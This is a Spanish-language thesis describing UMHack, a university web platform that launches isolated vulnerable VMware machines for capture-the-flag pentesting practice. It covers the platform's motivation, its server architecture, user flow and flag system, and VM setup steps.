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1 OBJETIVOSY MOTIVACIONES

1.1 Objetivo principal

El principal objetivo de este proyecto es el de introducir o de establecer un punto
de partida para aquellas personas que estén interesadas en el campo de la ciberseguridad
y no sepan por donde empezar 0 para que personas que son conocedoras del mismo,
puedan seguir masterizando sus habilidades.

El proyecto consiste en una plataforma web que permite a usuarios de la misma,
desplegar maquinas virtuales donde poder practicar la rama de la ciberseguridad
conocida como ‘pentesting’. Su aprendizaje es un camino sinuoso y complicado, por lo
que el método se convierte en algo de vital importancia. Es por esto, que se ha buscado
la forma de hacer de aprender un juego cuyas reglas se explicardn més adelante, con el
fin de fomentar la motivacién y de facilitar su estudio.

1.2 Entorno actual

Pocas son las personas que se dedican al mundo de la ciberseguridad, a pesar del
comun deseo de “ser hacker ético”. Esto es debido a la metodologia autodidacta que
necesita, y es lo que ‘UMHack’ trata de conseguir, dar ese empujon inicial a aquellas
personas que lo necesiten, ofreciéndoles herramientas de apoyo, informacién, y las vias
necesarias para poder aprender ‘pentesting’.

Asi mismo, aunque otras plataformas similares existen, la falta de contenido en
castellano hace que mucha gente se eche para atras. Sabiendo esto, y conociendo el
deseo del proyecto por expandir el conocimiento, la plataforma trata de poner de manera
accesible el contenido que generalmente se encuentra en inglés, pero en castellano.

1.3 Motivaciones personales

Entre las motivaciones para el desarrollo de la plataforma, se podria destacar,
como bien se ha comentado, paliar la falta de personas dentro del oficio del hacking
ético, que tanto auge e importancia esta cogiendo en los Gltimos afios. La seguridad
informatica evoluciona a diario en forma de nuevas vulnerabilidades, nuevos parches,
articulos, politicas, pautas, etc... Es por esto que animar a personas a introducirse en el
sector mediante una plataforma accesible para todos y prometedora, se convierte en
todo un reto.



2 INTRODUCCION

2.1 Contexto

El pentesting es una rama de la ciberseguridad que se centra en la parte ofensiva
de la misma, también conocida como ‘Red Team’. En cuanto a lineas generales, se
podria decir vulgarmente que se trata de “romper cosas”, pero, Sin embargo, vamos a
ver que va mucho maés alla que todo eso.

El objetivo es encontrar esos fallos de seguridad de un software, sistema
operativo, hardware... etc y explotarlos, con el fin de sanar esos agujeros, y dar a
conocer vulnerabilidades de los mismos, siendo siempre el objetivo de mejorar la
seguridad del sistema o red que se esta intentando probar. Tanto es asi, que, en términos
profesionales, se paga a los ‘pentesters’ con el objetivo de que intenten comprometer un
rango de sistemas predefinido en el contrato (conocido como scope), y reporten
cualquier evidencia de seguridad informatica que pudiera darse, asi como aconsejar y
pautar medidas con el fin de subsanarlas. Cabe recalcar que un pentester nunca tendra
como objetivo el mal de una empresa o entidad, sino ayudar a prevenir esos posibles
males.

El problema de todo esto, es como llega alguien a ser un buen pentester, pues se
trata de una ciencia muy practica, ademas de tedrica y compleja. Para ello, hace falta
ambicion, ganas, motivacion, una fuerte disciplina para afrontar los obstaculos en
solitario, y seguir aprendiendo constantemente de forma autodidacta, pues es un mundo
que estd en continua evolucion. Aunque lo anterior esta claro, aparece en la ecuacion
otra incognita: el lugar.

Un ‘cracker’ o ‘hacker de sombrero negro’, dispone de muchisimo tiempo, un
objetivo claro, y carece generalmente de escrupulos, por lo que echar abajo una péagina
web no le importa y es incluso su intencion en la mayoria de casos.

Un ‘hacker ético’ o ‘hacker de sombrero blanco’, sin embargo, es una persona
que vela por la seguridad de los demas, y lucha indirectamente con los crackers,
cerrando los posibles agujeros de un sistema y fortaleciendo sus “murallas”. No
obstante, como se comentaba anteriormente, el problema es que este tipo de expertos
carecen de un lugar donde poder practicar libremente, sin miedo a echar abajo un
sistema de produccion, o incluso cometer alguna ilegalidad.

Es por esto que el principal objetivo de UMHack es el de paliar este problema,
ofreciendo a los artesanos del oficio un lugar donde llevar a cabo sus experimentos y
poder aprender libremente sin preocupaciones, fomentando el aprendizaje y la
competitividad sana con estadisticas y esta ‘gamificacion’ (barbarismo del inglés, se
refiere a “hacer de algo un juego”), asi como cumplir los demas objetivos estipulados
en el primer punto.

Todo esto, como se vera, se consigue a través de una plataforma web con un
sistema de usuarios, donde los mismos pueden iniciar sesion para arrancar una instancia
de laboratorio virtual donde practicar. Estas instancias reciben el nombre de CTF, y
tienen un formato concreto que se detallard mas adelante junto a las tecnologias



utilizadas para el proyecto web, asi como la implementacion del primer CTF con el que
se inaugura la plataforma, Miguel.

2.2 Resumen del proyecto

El pentesting, como se ha comentado anteriormente, representa la rama ofensiva
de la ciberseguridad. Su principal objetivo es el de encontrar toda falla o agujero de
seguridad que pudiera ser encontrado dentro de una red o conjunto de sistemas
informaticos, al que se le denomina ‘scope’ (rango de objetivos en el punto de mira).

Lo que se busca con UMHack, es facilitar esta introduccién a este gran y
necesario segmento de la informatica, trabajando en el aprendizaje de la rama. UMHack
propone un despliegue de laboratorios controlados de pentesting, donde los estudiantes
puedan practicar sin miedo a afectar a cualquier medio de produccion relacionado con la
maquina que se esta intentando comprometer, dentro de un ambito legal. Recordemos
que el “ataque” dirigido hacia un sistema informatico con la intencién de conseguir algo
a cambio (o incluso a veces ni eso) en un entorno NO controlado, esta perseguido por la
ley. Es por esto que las maquinas han sido disefiadas y posteriormente implementadas
con ciertas vulnerabilidades ya premeditadas que permitan al estudiante practicar contra
dicha vulnerabilidad en un entorno legal y sin preocupaciones de tirar abajo algin
sistema de produccion. Las maquinas, actualmente, son individuales y estan aisladas de
la propia plataforma, por lo que no hay nada que temer, dentro de ellas estd permitido
“romper” todo lo que se pueda, dado que una vez finalizada la practica se eliminara todo
rastro del laboratorio virtual donde se ha efectuado.

Estas maquinas vulnerables a conciencia reciben el nombre de “CTF”, acronimo
del inglés que quiere decir “Capture The Flag”, o “Toma de la bandera” en espafol.

Se trata de una especie de puzle cuyo objetivo reside en conseguir dichas
banderas, para demostrar que la maquina ha sido vulnerada con éxito, marcando una
especie de punto de control. De esta forma, se establece un objetivo real que hace de la
maquina un “juego” dindmico, afiadiéndole ese punto de diversion que es de agradecer
cuando se esta aprendiendo.

De aqui, pudiera surgir la siguiente pregunta, ¢Cuantas banderas hay en un CTF?

La respuesta es sencilla e inamovible. En el caso de las maquinas encontradas en
la plataforma, siempre hay dos banderas en un CTF, que esconden dentro de si una
cadena de texto. Estos archivos tienen un formato comdn, y es que las cadenas que
contienen estan resumidas por un ‘algoritmo de hashing’ (algoritmo que resume un
texto a una cadena con caracteristicas concretas. Por minima que sea la diferencia, dos
textos diferentes no tendrdn el mismo ‘hash’) para asegurar su impredecibilidad, y que,
por tanto, no se trate de una cadena de texto comun, que pudiera ser adivinada sin la
realizacion del laboratorio.

Por un lado, tenemos la bandera “user.txt”, que puede ser encontrada y tomada
una vez se consigue acceso a la maquina. Por ejemplo, cuando vulneramos una pagina
web de un CTF, y conseguimos un terminal en la maquina que esta alojando dicha
pagina, encontraremos, sin indagar demasiado, esta bandera. Para ello, en necesario
realizar una enumeracion exhaustiva de todos los posibles fallos de seguridad que
puedan ser explotados, para luego conseguir entrar hasta el corazon de la misma. Esta



bandera suele estar alojada en la carpeta del usuario que ha creado el CTF, como una
especie de mencion a su autor.

La siguiente bandera, llamada “root.txt”, requiere de una enumeraciéon interna
(en vez de externa como es el caso de la otra bandera), que nos permita explotar alguna
vulnerabilidad o fallo de configuracién, con el fin de escalar privilegios dentro de la
maquina. El nombre de la bandera hace referencia a “root”, el usuario con mayores
privilegios dentro de las maquinas UNIX. Si se consigue el acceso a dicho usuario, la
maquina pasara a estar completamente comprometida, y es solo en ese punto, que se
podra leer la bandera. La bandera esta alojada en el directorio ‘/root’, al que inicamente
dicho usuario tendra acceso.

Estas maquinas vulnerables son accesibles por parte del usuario cuando ejecutan
la orden de arranque de la misma a través de la plataforma web. Es en este momento,
cuando se inicia un proceso de inicio de la maquina, y se pone en red con el fin de que
el usuario pueda “verla”. La plataforma se encarga del arranque, alojamiento, y borrado
de la préctica que el usuario solicite. Sin embargo, el método de resolucion que el
usuario quiera emplear juega de su parte.

Todo esto se consigue mediante dos servidores, uno que aloja la pagina web, y
otro que alberga las imagenes de los laboratorios a desplegar, que Ilamaremos
repositorio. La pagina web esta construida sobre un servidor apache, en conjunto con
una base de datos MySQL, utilizando tecnologias como PHP, CSS y HTML. Este
servidor web, se comunica a peticion del usuario con el repositorio de méaquinas a fin de
iniciar las maquinas virtuales, y se encarga también de dar la orden de borrado, todo ello
mediante interaccion del usuario. Esto lo consigue comunicandose utilizando el
protocolo ‘SSH’ (Secure Shell, que permite la conexion entre maquinas mediante
consola de comandos encriptada), ejecutando scripts preprogramados en el repositorio
gue se encargaran de la Idgica anteriormente comentada.

10



3 DISENO DE LA PLATAFORMA

3.1 Disefio general

Para el disefio de la plataforma, se han tenido en cuenta una serie de aspectos
que tenian que estar cubiertos por obligacion, y se ha construido una solucion que los
cumpla de la mejor manera posible.

En primer lugar, lo mas importante es la funcionalidad del proyecto. EI cometido
principal es que el usuario pueda conectar con un laboratorio donde practicar las
vulnerabilidades contenidas en él sin ninguna complicacion. Se requiere también un
buen servicio, que mantenga en linea la méaquina durante el tiempo que dure el ejercicio
sin presentar problemas de rendimiento. La pégina, ademas, tiene que facilitarle el
acceso a la maquina de manera directa, en este caso ofreciéndole la direccién IP de la
instancia que le corresponde.

Para el alojamiento de las maquinas, varias opciones han sido planteadas,
resultando las mas viables Docker y VMware Workstation, habiendo descartado otros
gestores como VM VirtualBox de Oracle debido al bajo rendimiento que aportan, asi
como la falta de herramientas que ayudan con el desarrollo.

Teniendo todo lo anterior en cuenta, se ha optado por utilizar dos maquinas
diferentes, una para el servidor web, de ahora en adelante “Web Server”, y otra que
contendra los datos de los CTF a desplegar en formato de maquina virtual, que por
convenio se llamaré servidor repositorio. Para ello, el software de VMware ha sido
finalmente escogido, por motivos de unificar tecnologias entre las dos méaquinas,
aungue Docker es una opcion algo mas viable en caso de que la aplicacion llegase a
escalarse enormemente. Sin embargo, para el desarrollo de este proyecto, y teniendo en
cuenta la baja afluencia de usuarios que tendra de momento, VMware es una tecnologia
que nos aporta una gran facilidad de implementacidon y herramientas muy Utiles, sin
ningun problema de rendimiento. Manteniendo un formato de maquina virtual, se
consiguen varios objetivos:

Por un lado, se garantiza un buen rendimiento, ya que los gestores actuales de
maquinas virtuales actuales son muy eficientes y dinamicos.

Por otro lado, el propio repositorio de maquinas es el encargado de asignar las
diferentes direcciones IP que tendran las maquinas virtuales que aloja, a través del
protocolo DHCP (Dynamic Host Configuration Protocol, asigna automaticamente las
direcciones IP), por lo que recuperar esta informacién es una tarea que se facilita
enormemente al utilizar este formato.

Por ultimo, se garantiza también la independencia de las instancias, dandole a las
mismas una Unica IP que se asociara exclusivamente al usuario que ordene su arranque.
Esta informacion no se compartira con otros usuarios, ya que mas de un usuario
resolviendo el mismo CTF podria dar lugar a interferencias o conflictos entre ellos y la
resolucion del mismo. Es por esto que se arranca una instancia de maquina virtual
independiente a las demas, que contiene el CTF a vulnerar a peticion del usuario,
exclusivamente para él.

11



3.2 Disefio del servidor repositorio
3.2.1 Funcionamiento general del servidor

Como bien se ha comentado, estos laboratorios virtuales “corren” en el servidor
repositorio en formato de maquina virtual utilizando el software VMware. Este gestor
tiene a su disposicion maltiples herramientas que permiten hacer un buen uso y tener un
mayor control de las maquinas virtuales que se alojan en él. En concreto, la herramienta
que se va a utilizar es la herramienta “vmrun”, del kit ‘VMware Tools’. Para su
utilizacion, es necesario instalarla en el servidor (en el caso de UMHack, el servidor
repositorio). Mas tarde se detallara su uso mas en profundidad, asi como las funciones
utilizadas.

Los laboratorios se arrancan a través de un script en bash localizado en la
propia maquina repositorio, que es llamado a través del servidor web por SSH, cuando
el usuario da la orden. Por otro lado, también existe un script que apaga la maquina
cuando el usuario lo ordena de nuevo. Aunque los detalles de la implementacion se
detallaran més adelante, el siguiente esquema refleja el mecanismo de arranque/apagado
de las maquinas, asi como el flujo general de peticiones y conexiones del proyecto.

umhack.com

O T T £
T S i i :
m <= = ssh "arranchar.sh
Usuario |\ ssh: getip,’ Web Server
1
\‘ v
——{ VM-
\ maquina.vimx
\ VPN i 9
Y

B2
A

Repositorio
AY @ nombre:
A3 maquinausuario
Y
\ -E
‘j-

Figura 1: Diagrama de flujo de peticiones

El color azul representa las conexiones y comandos mediante SSH
El color rojo representa ejecucion de comandos en bash
| El color verde representa peticiones realizadas a través del protocolo HTTP

Una vez un CTF esté listo para ser publicado, se almacena en el repositorio en
una carpeta independiente con su nombre, que actuara como “plantilla” para las
instancias que se pondran a disposicion del usuario. Por ejemplo, el CTF ‘Miguel’,
tendra toda su configuracion y archivos necesarios para que VMware pueda arrancarlo,
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dentro de la carpeta ‘Miguel’, localizada en el directorio “/home” del repositorio. Sin
embargo, no es desde aqui desde donde se inician las maquinas.

Cuando un usuario quiere iniciar una maquina, desde la web ejecutara la orden
de arranque a través de un boton, y el Web Server, a través de SSH, iniciara un script en
bash llamado ‘runvm.sh’ dentro de la maquina repositorio. Este script recibira por
pardmetro tanto el nombre de la maquina a iniciar, como el nombre del usuario que
quiere iniciarla, y creara una carpeta temporal donde se copiara toda la configuracion de
la méquina, desde donde se llamara a la herramienta ‘vmrun” para iniciarla. El nombre
de esta carpeta temporal serd Unico, y esta compuesto por ambos parametros de la
siguiente forma: “MaquinaUsuario”. No existe posibilidad de conflicto con los nombres
de las carpetas, puesto que los nombres de usuario y de las maquinas también lo son.
Por ejemplo, dado el usuario “alejandro”, que quiere practicar en el CTF “Miguel”, se
creara la carpeta “Miguelalejandro” donde se copiaran, desde la carpeta original del
CTF “Miguel”, todos los archivos necesarios para que se arranque la maquina y se
iniciard desde este lugar.

Cuando el usuario quiera finalizar la actividad, dispondra de otro botén en la
pagina web, desde donde se iniciard un script muy parecido al de arranque, de la misma
forma. Sin embargo, este script detendrd la instancia y borrard la carpeta temporal,
finalizando por completo la actividad, y liberando ese espacio en el disco duro para
futuras interacciones, por lo que se pierden todos los datos de la practica.

Por ultimo, cabe destacar que la conexion SSH que existe entre las maquinas y
el servidor web (en el diagrama ‘ssh: getip’) trata de conseguir la IP de la maquina
asignada al usuario. Se explicara mas en detalle en la seccidn de implementacién.

En cuanto a la metodologia utilizada, se pueden plantear diferentes cuestiones
como... ;Por qué se tiene que crear una carpeta para cada usuario, y no se arrancan
desde la misma carpeta original?, ¢Por qué no se almacenan los datos de las practicas
realizadas? ¢Donde se lanzan las maquinas virtuales?

3.2.2 Ejemplo de ejecucion simultanea de varias instancias virtuales

Respondiendo a la primera pregunta, el software empleado (VMware
Workstation) no permite la ejecucion paralela de dos o mas instancias utilizando el
mismo archivo de configuracion (.vmx), por lo que dos usuarios diferentes no podrian
jugar a la misma maquina de forma simultanea. Aunque esto fuera posible, existiria
colision entre usuarios, cosa que no es deseada en ningin caso. Cada usuario deberia
tener una instancia “aislada”, donde ningun otro usuario pueda interferir, para tener una
practica lo mas completa posible. Con esta metodologia, se consigue que cada usuario
tenga su espacio independiente, y se logra la practica simultanea por parte de diferentes
usuarios en el mismo laboratorio. A continuacion, se detalla un ejemplo explicando
coémo reacciona el software ante la metodologia:

Para el ejemplo, se crea una maquina virtual con Ubuntu Desktop, que
llamaremos “CTF1”, por lo que tendremos una carpeta llamada “CTF1”, donde
encontraremos, entre muchos otros necesarios para su correcto funcionamiento, el
archivo de configuracion de VMware “CTF1.vmx”.
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1- Se configura la maquina por defecto, siguiendo los pasos que el propio sistema
operativo muestra por pantalla. Lo que se conoce como una instalacion estandar.

2- Se guardan los cambios y se apaga.

3- Se crea una carpeta “CTFtest”, donde se copiaran todos los archivos contenidos
en la carpeta “CTF1”. En este punto, existiran dos carpetas con diferente
nombre, pero que son idénticas en cuanto a contenido. Notar que, en la carpeta
“CTFtest”, el archivo de configuracion seguird llaméandose “CTF1.vmx”.

4- Se arrancan ambas maquinas virtuales por separado.

Figura 2: Ejecucion simultanea

En este punto, como se ve en la figura dos, ambas maquinas estan iniciadas y
tienen el mismo nombre y contenido, sin embargo, son “instancias” diferentes.

5- Para comprobarlo, se creara un pequefio archivo de texto de prueba en la
maquina iniciada desde CTFtest (la segunda), como se ve en la figura tres.
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CTF1

Activities () Terminal » Jul 29 05:31

Gt

asekas

asekas@ubuntu: ~

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

:~$ nano hello
:~$ cat hello
Hello, this is a test!

e |

Figura 3: Archivo de prueba

6- Se apagan ambas maquinas virtuales.

7- Se vuelven a abrir las maquinas virtuales de la misma forma que en el punto 4,
para confirmar que siguen siendo instancias diferentes y que conservan los
cambios independientemente.

8- Se comprueba que en la méquina abierta desde la carpeta original no existe
dicho archivo de texto que se cre6 en la segunda. Notar que es la primera
(izquierda) la que esta seleccionada. Tal y como se ve en la figura cuatro.

15



CTF1

Activities () Terminal v Jul29 05:35

+9 G

M asekas@ubuntu: ~

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

:~S 1s

R |

Figura 4: Maquina virtual abierta primero (CTF1)

9- Se comprueba que el archivo creado en la segunda maquina sigue estando
después del arranque, demostrando que la méaquina es totalmente independiente
a su original. Tal y como se ve en la figura cinco.

CTF1

Activities () Terminal v Jul29 05:35

1 asekas@ubuntu: ~

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

:~S s

hello

:~$ cat hello
Hello, this is a test!

S |

Figura 5: Maquina virtual abierta después (CTFtest)
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10- Se borra una de las carpetas, la otra maquina permanece intacta, asegurando una
vez mas la independencia.

Con este método, se ha conseguido comprobar que el método es eficaz,
permitiendo a la plataforma manejar diferentes instancias del mismo laboratorio para
diferentes usuarios.

3.2.3 Persistencia de los datos de una practica

En cuanto a la segunda cuestion, la respuesta es simple, y tiene una razon de ser
de recursos. Los CTF ocupan bastante memoria, pues un sistema operativo corre en
ellos. Dado que el espacio de disco es finito, conviene eliminar los datos despues de una
practica, ya que no resultan atiles. De hecho, si se almacenasen dichos datos, no
existiria forma de ‘rejugar’ el CTF, puesto que la maquina se iniciaria “ya
comprometida” en posteriores interacciones. En este caso, lo méas interesante es eliminar
los datos para que en caso de que el usuario desease realizar de nuevo la practica, fuese
desde el inicio, pudiendo cubrir y practicar todas las vulnerabilidades de la misma.

3.2.4 Gestion de direcciones de las instancias virtuales

Por altimo, contestando a la tercera cuestion, las maquinas virtuales aparecen en
red, pues es el DHCP quien les otorga la IP. Cada vez que aparece una instancia nueva,
se le asigna una IP diferente. No tendria sentido que diferentes instancias tuvieran la
misma direccion IP, seria inviable.

3.2.5 Pautas finales de disefio

Por ultimo, para el servidor repositorio, es necesario utilizar un sistema
operativo con interfaz grafica, ya que la herramienta “vmrun” requiere de GUI
(Graphical User Interface) para algunos comandos que se estaran usando en el
proyecto, aunque esto se detallard mas adelante, en el apartado de implementacion de la
plataforma.

Explicado una vez el repositorio y cémo funciona la gestion y légica de las
maquinas, se va a proceder a explicar el disefio que se ha decidido llevar en el apartado
web.

3.3 Disefio del servidor web
3.3.1 Tecnologias empleadas en el desarrollo

Como ya se ha explicado, entre las tecnologias utilizadas para el desarrollo web
del proyecto se pueden distinguir, por un lado, el conocido lenguaje de marcado HTML
(HyperText Markup Language) enriquecido con ldgica de backend (referente al lado
del servidor) en PHP y una base de datos MySQL sencilla pero eficaz, cuyas tablas y
estructura se daran a conocer en la seccién de implementacion. A su vez, la parte del
frontend (referente al lado del navegador) en enriquecida mediante el uso de CSS y
algo de JavaScript para funcionalidades puramente visuales como ‘Toast’ (Un toast se
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refiere a una ventana emergente en el navegador con un mensaje de informacion). Se
ha querido llevar un estilo minimalista, con opciones claras, huyendo del estilo barroco.

Para el servidor web se ha elegido un sistema operativo Ubuntu Desktop, por el
hecho de tener una interfaz grafica que ayuda enormemente en la implementacion,
ademas de unificar tecnologias, facilitando asi el desarrollo general del proyecto.
Aunque también seria viable una distribucion sin interfaz grafica posterior al desarrollo
del proyecto, pues en teoria consume menos recursos. Las peticiones que el servidor
tiene que tramitar no son muchas ademas de poco demandantes, pues como se vera se
trata de una pagina web mas bien sencilla, por lo tanto, exigirle un maximo rendimiento
no resultaria tan beneficioso como en el servidor repositorio, por ejemplo, que si
necesitara mas recursos.

Dado que el lenguaje principal es PHP, aparece la famosa disputa entre Apache
y Nginx. La principal diferencia que existe entre ambos, es la optimizacion de recursos
de Nginx al tramitar un gran volumen de peticiones. Dado que la plataforma esta
montada de manera que el que acumula y requiere una mayor capacidad de computo es
el servidor repositorio, y el servidor Unicamente tramita peticiones sencillas, este
aspecto se convierte en una caracteristica no demasiado relevante. Esto, sumado a que la
supuesta afluencia de usuarios de la pagina es mas bien baja de momento, y que la
implementacién es mucho maés sencilla, la eleccion de Apache frente a Nginx como
servidor web se hace obvia.

En cuanto a la base de datos, se ha elegido MySQL como gestor de bases de
datos, debido a la potencia y facilidad de implementacién que tiene tanto en la
construccién y mantenimiento de la base de datos, gracias a su lenguaje universal y
buena documentacion.

3.3.2 Funcionamiento general del servidor

PHP es un lenguaje muy potente que permite una légica robusta, con muchas
funcionalidades que facilitan el desarrollo, ademas de poder correr en cualquier servidor
sin muchas complicaciones si se cambiara de servidor la plataforma. En la base de datos
se ha querido almacenar datos de los usuarios que tienen cuenta en la plataforma, tanto
de las maquinas que se han instalado en el repositorio, han sido validadas y estan
preparadas para ser iniciadas, como por Gltimo la relacion de un usuario y una maquina.
En el proyecto se pueden encontrar diversos archivos con extension ‘.php’, que se
explicaran con mas detalle en la implementacion. En este punto se explicard solamente
la parte visible y la funcionalidad general que se pretende en la pagina web, y no toda la
I6gica que hay detras del mismo de forma detallada.

3.3.21  Formulario de inicio de sesion
Empezando por el principio, el primer contacto que un usuario tiene es la
pantalla de inicio de sesion. Desde esta pagina el usuario podrd acceder con sus
credenciales, si es que se ha registrado previamente mediante la pagina de registro.
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UMHack

UNIVERSITAS
Miguel Herndndez

¢Todavia no tienes una cuenta?
Crea una aqu

Figura 6: Panel de inicio de sesion

3.3.2.2  Formulario de registro del usuario
El formulario de registro presenta un control de errores tal que no se permite la
insercion de un nuevo usuario en la base de datos si se quiere utilizar un nombre de
usuario o un correo electronico existente en la misma, siendo ambos campos de carécter
unico.

UMHack

UNIVERSITAS
Miguel Hernindez

Figura 7: Panel de registro de usuario

3.3.2.3  Pagina principal

Una vez dentro, el objetivo es que el usuario tenga una lista de las maquinas
disponibles, e informacion relevante para cada una como nombre y descripcion de la
misma, su dificultad, si esa maquina ya esta siendo utilizada por algun usuario, y un
botdn para su arranque. El boton “Arrancar Maquina”, como su nombre indica,
arrancara la maquina mediante la l6gica comentada anteriormente en la explicacion del
repositorio (este proceso tarda unos dos minutos de reloj aproximadamente). La pagina
se ve como la figura ocho.
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UMHack iHola, asekas, feliz hacking! Maquinas Perfil Cerrar sesion

Nombre Descripeién Dificultad  Estado

Miguel  La primogénita. En la méquina Miguel s ha querido simular un entorno realista donde el administrador del sistema ha reutilizado una maquina antigua para instalar su servidor web. . ;Ser sequa?  Baja oft m

Figura 8: Pagina principal

Un usuario no podra arrancar mas de una maquina a la vez, es decir, no podra
tener mas de una sesidén activa. Una sesion representa la relacién que tiene un
determinado usuario con una determinada maquina. Sin embargo, que un usuario
tenga una sesion activa con una maquina, no significa que otro usuario no pueda tener
también una sesion activa con dicha maquina. La Unica limitacién existente es por
sesion activa, es decir, un usuario, a pesar de tener varias sesiones con diferentes
maquinas, solo una podré estar activa a la vez. De esta forma, se garantiza la
concurrencia de la plataforma. Los controles de errores son muy importantes aqui,
puesto que podria colapsar el sistema, 0 un usuario podria quedarse blogueado en algun
punto por algin error de manejo de estas sesiones. Es por esto, que se ha hecho especial
hincapié en depurar todos los casos posibles, en busca de la posible existencia de bugs
(situaciones no esperadas en el comportamiento del cdédigo). Las pruebas se han
realizado con varias maquinas y usuarios de prueba, pues es como la pagina funcionara
en el futuro. Tiene que estar preparada para ello, es indispensable.

3.3.24  Perfil del usuario
En la pagina anterior (index.php), se puede ver un boton de “Perfil”, que llevara
al usuario a su zona “privada” dentro de la plataforma. Aqui podra visualizar de una a
dos tablas, una siempre visible, y la otra en funcidn de si tiene una sesion activa o no.

La tabla que siempre se va a encontrar en esta pagina, es la tabla de estadisticas.
En ella se muestran diferentes datos como el nimero de banderas obtenidas en los
laboratorios, asi como los laboratorios comprometidos por el usuario.

Por otro lado, la tabla de sesion solamente aparece Unicamente cuando existe una
sesion activa para el usuario. Esta tabla es muy importante, ya que le muestra al usuario
informacion muy Util acerca de su sesion existente. Podré encontrar la direccion IP que
se le ha dado a su instancia con la maquina (desde la que podra acceder), el nombre de
la maquina, un botdn para apagar la maquina y desactivar esa sesion, asi como
informacién de las banderas. Este Gltimo campo sera dinamico, hasta tal punto de
decirle al usuario qué banderas de la maquina ha conseguido recoger (Sin introducir o
Introducida), y en caso de faltarle alguna, aparecera un ‘input’ (lugar donde el usuario
puede introducir informacion en la pagina) desde el cual se puede validar una bandera.
En este Gltimo caso, si la ultima bandera que quedara por introducir fuera valida y se
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diera esa maquina por comprometida, esta columna con el “input” desapareceria, pues
su funcionalidad careceria de sentido una vez no existan mas banderas por introducir de
dicha méquina. Dicha pagina de perfil se veria como en la figura nueve.

Usuerio  Méquina  Direccion IP userixt rooL.ixt Estado  Primer contacto

seas Mgl TRIG046  iodeidse  Iodcidas Ao 20210839

Usuario  Flags de usuario  Flags root  Maquinas comprometidas

asekas 1 1 1

Figura 9: Pagina del perfil del usuario

Hablando del campo de la direccién IP, se ha disefiado de manera que cada vez
que el usuario recarga la pagina, se tramita a través de PHP, una llamada al servidor
web, donde a través del protocolo SSH, se intenta leer la direccion IP de la pagina.
Dicha logica se explicard mas adelante con mayor detalle en la seccion de
implementacion.

3.3.3 Pautas finales de disefio

Durante la experiencia de navegacion del usuario por la pagina, es posible que
debido a los diversos controles de errores que se realizan para controlar la consistencia
de la plataforma, éste se encuentre con algunos de ellos. Se ha querido mantener un
formato ‘Toast’, de mensajes emergentes por pantalla con colores para mostrar estos
errores, dado que resultan muy visuales y no quedan persistidos en la pagina, sino que
desaparecen al cabo de unos segundos.

Se ha querido también, afiadir funcionalidades adicionales como cerrar sesion,

aunque la pagina ya elimina las cookies de sesion después de un tiempo de inactividad
por cuestiones de seguridad.
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4 IMPLEMENTACION Y DESARROLLO DE LA PLATAFORMA

Siguiendo el mismo orden que se ha llevado hasta el momento, primero se va a
proceder a explicar la implementacion del servidor repositorio, para mas tarde finalizar
la explicacion comentando en detalle la I6gica detrés del servidor web, asi como el
despliegue de toda la infraestructura en ambas maquinas.

4.1 Servidor repositorio
4.1.1 Instalacion del servidor

Como se ha comentado en el disefio, para que las maquinas arranquen y puedan
usar todas las utilidades, es necesario utilizar el software VMware Workstation, y para
que éste pueda funcionar, el sistema operativo tiene que tener interfaz grafica (GUI). Es
por este motivo que para el servidor repositorio se ha elegido Ubuntu Desktop sobre
Ubuntu Server, pero si no fuera por este requerimiento, se hubiera elegido la otra opcion
por motivos obvios de rendimiento.

Lo déptimo, seria construir el servidor repositorio en una maquina fisica desde
cero, conocido como “Bare metal”, para ofrecer un maximo rendimiento. Sin embargo,
por un motivo de recursos, durante el desarrollo de este proyecto se ha construido en
formato de méaquina virtual. Si se quisiera replicar el proceso de construccion del
servidor en maquina virtual, habria que seguir los siguientes pasos:

1- Elegir “custom installation” y afiadir la ISO correspondiente, en este caso
Ubuntu Desktop. Ver figura diez.

Mew Virtual Machine Wizard
Guest Operating System Installation

A virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install from:
Installer disc:

Mo drives available

(®) Installer disc image file {iso):

|C:'IJJSEI'S'I,idI‘th'I,DD'J’\'I‘l|DEdS'I,LIbLIn1J.I-ZD.U4.Z.D-dESktEll:l v| [ Browse, .. i

[ Ubuntu 64-bit 20.04.2.0 detected.
This operating system will use Easy Install. (What's this?)

()1 will install the operating system later,
The virtual machine will be created with a blank hard disk.

Mext = Cancel

Figura 10: Seleccion de la imagen del SO
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2-

Rellenar la informacion que se requiere de nombres, contrasefias, etc. Es
necesario el uso de una contrasefia robusta, ya que el protocolo SSH esta
abierto. Si un hacker consigue entrar por aqui, podria ocasionar grandes
dafios. Un ejemplo de esto puede verse en la figura once.

Easy Install Information
This is used to install Ubuntu 64-hit.

Perzonalize Linux

Full name: | Repositario

Llzer name: | asekas

Easswcurd: | BEFRERERRRERRER RN ER RS

Qonﬁrm: | BEEBEBEERBORR R BEED

Cancel

Figura 11: Establecimiento de las credenciales de Linux

En la seleccion de nimero de procesadores a utilizar, asi como la memoria y
diferentes recursos, hay que tener en cuenta que cuanto mas mejor, pero
respetando también al sistema operativo de la maquina que esta corriendo la
maquina virtual.

En las opciones de red se seleccionara “bridged connection”. Con esta
opcidn el sistema fisico (el que aloja a la maquina virtual) sera el encargado
de asignar las IP por DHCP.

Lo demas, todo por defecto hasta llegar al apartado del disco. Hay que
pensar que cada instancia de laboratorio virtual pesaréa alrededor de unos 7
GB, mas la plantilla original. Es necesario por tanto contar con un disco
grande y réapido para las copias.

Antes de finalizar, aparecera la opcion de “Customize Hardware”, donde se
encontrard la opcion de virtualizar los procesadores. Es importantisimo
marcar esta pestafia, ya que, si no, no se podran asignar hilos virtuales y las
maquinas que se instalen no funcionaran. Tal y como se ve en la figura doce.
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h | I— b

Create 3 New Open a Virtual Connect to 2 MG
Virtual Machine Machine Remate Serve|
Processors
Device Summary
T S tinber of cores per processor:
(%) New CD/DVD (SATA)  Using file C:\Userslidnzh\Do. .. Total processor cores: 2
S Network Adapter Bridged (Automatic)
=] use controller Present Virtualization engine
€l Sound Card Auto detect
oune car e asted irtualize Intel VT-/EPT ar AMD-V/RVL
(=1 Printer Present
Ready to Create Virtual Machine [_Ipisplay Auto detect [ virtuaiize CPU performance counters
Click Finish to create the virtual machine and start installing Ubuntu 64-bit [ virtualize IOMMU (10 memory management unit)
and then VMware Tools.
The virtual machine wil be created with the folloning settings:
Location: C:Wserslidnzh\Documentsirtual Machines'\Repositorio A
Version: Workstation 16.x
Operating System: Ubuntu 64-bit
